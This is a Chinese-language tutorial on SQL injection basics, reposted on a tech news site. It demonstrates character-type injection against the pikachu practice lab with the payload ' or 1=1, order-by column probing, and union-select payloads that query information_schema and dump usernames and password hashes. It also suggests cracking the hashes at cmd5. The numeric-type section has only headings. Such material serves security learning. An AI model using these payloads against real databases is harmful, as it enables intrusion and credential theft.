iis服务器助手广告广告
返回顶部
首页 > 资讯 > 服务器 >SQL注入基础
  • 652
分享到

SQL注入基础

数据库服务器mysql 2023-09-18 07:09:26 652人浏览 安东尼
摘要

引言 靓仔们是否经常听到sql注入呢,那么sql注入到底是什么? 引用微软官方的语言来说: SQL 注入是一种攻击方式,在这种攻击方式中,在字符串中插入恶意代码,然后将该字符串传递到 SQL Server 的实例以进行分析和执行。 构成

引言

靓仔们是否经常听到sql注入呢,那么sql注入到底是什么?

引用微软官方的语言来说:

SQL 注入是一种攻击方式,在这种攻击方式中,在字符串中插入恶意代码,然后将该字符串传递到 SQL Server 的实例以进行分析和执行。 构成 SQL 语句的任何过程都应进行注入漏洞审阅,因为 SQL Server 将执行其接收到的所有语法有效的查询。 一个有经验的、坚定的攻击者甚至可以操作参数化数据。

那么接下来,让我们来了解一下sql注入是如何产生的。

目录

引言

1. sql注入原理

1.1 sql注入分类

1.2 sql注入流程

1.3 寻找注入点

1.4 注入提交方式

1.5 万能密码

2. SQL注入实操

2.1 寻找注入点

2.2 判断闭合方式

2.3 验证注入漏洞

2.4 判断列数及回显位

2.5 联合查询

2.5.1 查询数据库

2.5.2 *必要知识点

2.5.3 查版本信息

2.5.4 查用户

2.5.5 查表名

2.5.6 查字段名

2.5.7 查数据

3. 数字型(抓包注入)

3.1 测试注入点

3.2 联合查询

3.2.1 查表名

3.2.2 查字段名

3.2.3 查数据


1. sql注入原理

sql注入属于服务端攻击,原理是参数带入给变量时未经过滤直接带入数据库查询

sql注入与操作系统数据库类型、脚本语言类型无关,与程序员写的源代码有关

1.1 sql注入分类

sql注入可以分为数字型、字符型、搜索型、特殊闭合型、布尔盲注、时间盲注、报错注入等

此篇文章主要展示的是字符型注入和数字型注入,其他类型注入会陆续更新~

1.2 sql注入流程

我们来梳理下sql注入流程

寻找注入点-> 判断闭合方式-> 验证-> 判断列数及回显位-> 取数据

1.3 寻找注入点

一般来讲,在网站中,注入点都存在于可以与数据库交互的地方,如搜索框,登录输入框、更新、查询、删除等

那么我们找到了可能存在注入点的地方,就需要进行测试,这里采用手工测试的方式,帮助各位靓仔们更好的理解。

1.4 注入提交方式

常见的注入提交有:GET提交、POST提交、COOKIE提交

GET提交: 写在url地址栏里

POST提交:(url地址栏中看不到参数)(bp抓包 语句写在报文里,前面没有"?")(分块传输可能会绕过waf)

cookie提交: (bp抓包 语句写在报文里)

Http头(忽略不计)

1.5 万能密码

' or 1=1 其原理是使用单引号对前面的语句进行闭合,这样后面的语句就会被当作正常的sql语句解析,而or为或运算符,即使前面的字符不为真,语句也可以正常执行

2. SQL注入实操

2.1 寻找注入点

拿到一个网站,若寻找注入漏洞,第一步就是判断存在与数据库交互的地方,通常有:

登录界面

查询输入框

更新输入框

删除输入框

我们以pikachu靶场的字符型注入为例为例进行演示

首先,从搜索框中输入数据提交,观察url链接变化,若能直接看到参数,则为GET请求,用hackbar可以进行下一步,,若看不到参数,则为POST请求,使用bp抓包进行下一步

发现为GET请求,参数为?name=xx (参数为已经确定存在的数据字段,一般id使用较为广泛,在不知道参数的情况下多数用id来测试)

输入一串不存在的字母并闭合,探测是否会有报错

?参数=afhafgauf'

发现报错,则可能存在sql注入漏洞

或and 1=1、and 1=2

如果前者正常,后者报错,说明语句被带入到了数据库查询

2.2 判断闭合方式

在报错信息中,除去自己输入的内容,可以看到右边闭合方式为双引号 "

2.3 验证注入漏洞

--+在url中会被解析为 --[空格] 其作用是注释掉后面的内容

?参数=afhafgauf' or 1=1--+

此时可以看到查询出了一些数据

2.4 判断列数及回显位

根据上面爆出来的已有信息,已知了部分账号名,使用其中一个名称+order by 1,2,3,4,5...来判断最大列数及回显位(方法不止一种)

?name=vince' order by 1 --+

?name=vince' order by 2 --+

?name=vince' order by 3 --+

执行到3的时候发现没有此列,因此判断为两列

2.5 联合查询

联合查询是连接前后两条查询语句,若前面一条语句查询成功,则后面的一条语句不显示,所以把前面参数的值改为-1表示不存在,这样可以显示出后面的查询语句。

?name=-1' uNIOn select 1,2 --+

可以看到回显位是1和2 (在不是回显位的位置上进行查询是不显示结果的)

2.5.1 查询数据库

在2的位置上改为database()

?name=-1' union select 1,database() --+

可以看到当前数据库名为pikachu

2.5.2 *必要知识点

Mysql5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。

数据库中符号"."代表下一级,如mydb.user表示mydb数据库下的user表名

记录所有表名信息的表 information_schema.tables

记录所有列名信息的表 information_schema.columns

table_name 表名

column_name 列名

table_schema 数据库名

group_concat()

将相同的行组合起来,不使用此函数会导致行数过多无法显示

concat_ws(':',str1,str2)

以指定分隔符的方式将多个字符串连接为一个字符串,适用于只有一个回显位显示账号和密码的情况

分隔符不能为空,否则查出来的数据为空

查数据库版本 select version();

查数据库名字 select database();

查数据库用户 select user();

查操作系统 select @@version_compile_os;

2.5.3 查版本信息

?name=-1' union select 1,version() --+

2.5.4 查用户

?name=-1' union select 1,user() --+

2.5.5 查表名

?name=-1' union select 1,(select group_concat(table_name) from infORMation_schema.tables where table_schema=database()) --+

可以看到查询出来的表名,其中包含users用户表

2.5.6 查字段名

?name=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users') --+

从users用户表中查询字段,从而得到具体的列名,其中包含了username用户名字段和passWord密码字段

2.5.7 查数据

在回显位1上查询1

在回显位2上用concat_ws()连接user与password

?name=-1' union select 1,(select group_concat(concat_ws(':',username,password)) from users) --+

密文拿去cmd5解密即可获得信息

演示完了基本的字符型注入,下面演示一下数字型注入

3. 数字型(抓包注入)

3.1 测试注入点

数字型注入流程语句与字符型类似,其不同点是需要burpsuite抓包,在报文中提交注入语句

使用bp抓包,发现存在注入点

测试注入点,and 1--+成功执行 and 1=2报错

注入点可以利用

测试回显位 2可以,3报错

3.2 联合查询

3.2.1 查表名

3.2.2 查字段名

3.2.3 查数据

至此,基本的sql字符型注入和数字型注入就演示完毕,相信各位靓仔已经对sql注入有了一个大致的了解,那么下次我们来说一下其他类型的注入~

来源地址:https://blog.csdn.net/qq_43512091/article/details/129034245

--结束END--

本文标题: SQL注入基础

本文链接: https://www.lsjlt.com/news/411501.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • SQL注入基础
    引言 靓仔们是否经常听到sql注入呢,那么sql注入到底是什么? 引用微软官方的语言来说: SQL 注入是一种攻击方式,在这种攻击方式中,在字符串中插入恶意代码,然后将该字符串传递到 SQL Server 的实例以进行分析和执行。 构成...
    99+
    2023-09-18
    数据库 服务器 mysql
  • sql注入基础知识的介绍
    本篇内容介绍了“sql注入基础知识的介绍”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!什么是SQL注入(S...
    99+
    2024-04-02
  • Java SQL注入案例教程及html基础入门
    目录一,SQL注入–1,需求–2,测试–3,总结二,练习PreparedStatement–1,需求–2,测试–3,制作工具类三,HTML–1,概述–2,入门案例–3,使用工具–4,...
    99+
    2024-04-02
  • SQL 教程-入门基础篇
    文章目录 SQL 简介SQL 语法SQL SELECT 语句SQL SELECT DISTINCT 语句SQL WHERE 子句SQL AND & OR 运算符SQL ORDER BY...
    99+
    2023-08-31
    sql 数据库 mybatis mysql
  • Spring入门基础之依赖注入
    目录一、构造器注入二、set注入三、其他方式注入(1)导入约束(2)p命名注入(3)c命名注入一、构造器注入 在前几节已经做过了详细的说明讲解,我们先跳过 二、set注入 依赖注入 ...
    99+
    2024-04-02
  • sql注入基本原理是什么
    这篇文章主要介绍了sql注入基本原理是什么,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。SQL注入基本原理WEB技术发展日新月异,但是徒手拼...
    99+
    2024-04-02
  • PHP入门基础之注释的写法
    目录1 什么是注释1.1 注释的目的1.2 注释的格式2 PHP 的注释格式2.1 行注释2.2 多行注释3 小结1 什么是注释 注释就是对代码的解释和说明,其目的是让人们能够更加轻...
    99+
    2024-04-02
  • Spring配置与依赖注入基础详解
    目录1.Spring配置1.1.别名1.2.Bean的配置1.3.import2.依赖注入(DI)2.1.构造器注入2.2.Set 注入(重点)2.3.扩展的注入2.4.Bean的作...
    99+
    2022-11-13
    Spring 配置 Spring 依赖注入
  • sql注入之堆叠注入
    一、堆叠注入的原理 mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔 开,而堆叠注入其实就是通过结束符来执行多条sql语句 比如我们在mysql的命令行...
    99+
    2023-09-09
    sql mysql php 信息安全 网络安全
  • 前端基础入门四(JavaScript基础)
    目标:掌握编程的基本思维掌握编程的基本语法我们先来学习JavaScript基础,后续会讲解JavaScript高级。重点内容变量的声明及使用数据类型类型转换运算符JavaScript介绍JavaScript是什么JavaScript是一种运...
    99+
    2023-06-03
  • 【SQL基础】SQL增删改查基本语句
    目录 1 SQL 增删改查基本语句2 select 语句2.1 select 基本语句2.2 Select .. where 语句2.3 Select .. order by 语句2...
    99+
    2023-10-04
    sql 数据库 注入 database mysql
  • php sql注入
    文章目录 一、什么是sql注入二、sql注入处理1、使用内置函数2、使用pdo预处理语句 三、安全注意事项 一、什么是sql注入 在应用程序中,为了和用户交互,允许用户提交输入数...
    99+
    2023-08-30
    sql php mysql php sql 注入 sql 注入
  • Python:基础入门
    #Python 逻辑运算: and,or,not #Python中没有&&,||,!等短路逻辑运算符而是用and,or,not分别替代 print("================================ 逻辑运算...
    99+
    2023-01-31
    入门 基础 Python
  • SQL注入与防止及MyBatis基本作用
    目录SQL注入防止SQL注入的方法mybaits中${}和#{}的使用SQL注入 在嵌入式SQL编程中,sql语句通常是以字符串的形式提交给数据库管理系统的。SQL注入是利用SQL语...
    99+
    2024-04-02
  • HTML基础入门
      一、浏览器   浏览器是指可以显示网页服务器或者文件系统的HTML文件(标准通用标记语言的一个应用)内容,并让用户与这些文件交互的一种软件   1,浏览器种类   主流浏览器:Chrome,Firefox,Safari,Opera  ...
    99+
    2023-01-30
    入门 基础 HTML
  • python入门基础
    新的开始,新的奋斗!从今天起开始学习python的相关知识! 首先python的基本的关键字和基本的分支结构都跟C语言差不多,这里主要介绍python中比较特别的一些基础内容,包括列表,元组和字符串 列表 创建列表 空列表...
    99+
    2023-01-30
    入门 基础 python
  • Flutter基础入门
    文章目录 一、Flutter基础知识1.Flutter简介和发展历史2.Flutter安装和配置3.Dart语言基础知识Dart语言特性Dart基本语法空安全 Null safetyDart异...
    99+
    2023-10-25
    flutter android ui
  • Java 入门基础
    Java软件工程师是指运用Java这个开发工具去完成软件产品的软件程序设计、开发、测试、维护升级等工作的人员。::::::::::::::::::::::::::::::::::::::::::::::::::::::::Java 入门基础...
    99+
    2023-06-02
  • python-基础入门
    列表shoplist = ['apple', 'mango', 'carrot', 'banana']shoplist[2] = 'aa'del shoplist[0] #删除第一个元素shoplist.insert('4','www') ...
    99+
    2023-01-31
    入门 基础 python
  • PHP基础入门
    1.2 PHP简介 1.2.1 概述 PHP是Hypertext Preprocessor的缩写,(超文本预处理器)是一种在服务器端运行的开源的脚本语言。 LAMP组合(Linux,Apache,My...
    99+
    2023-09-26
    php 服务器 mysql
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作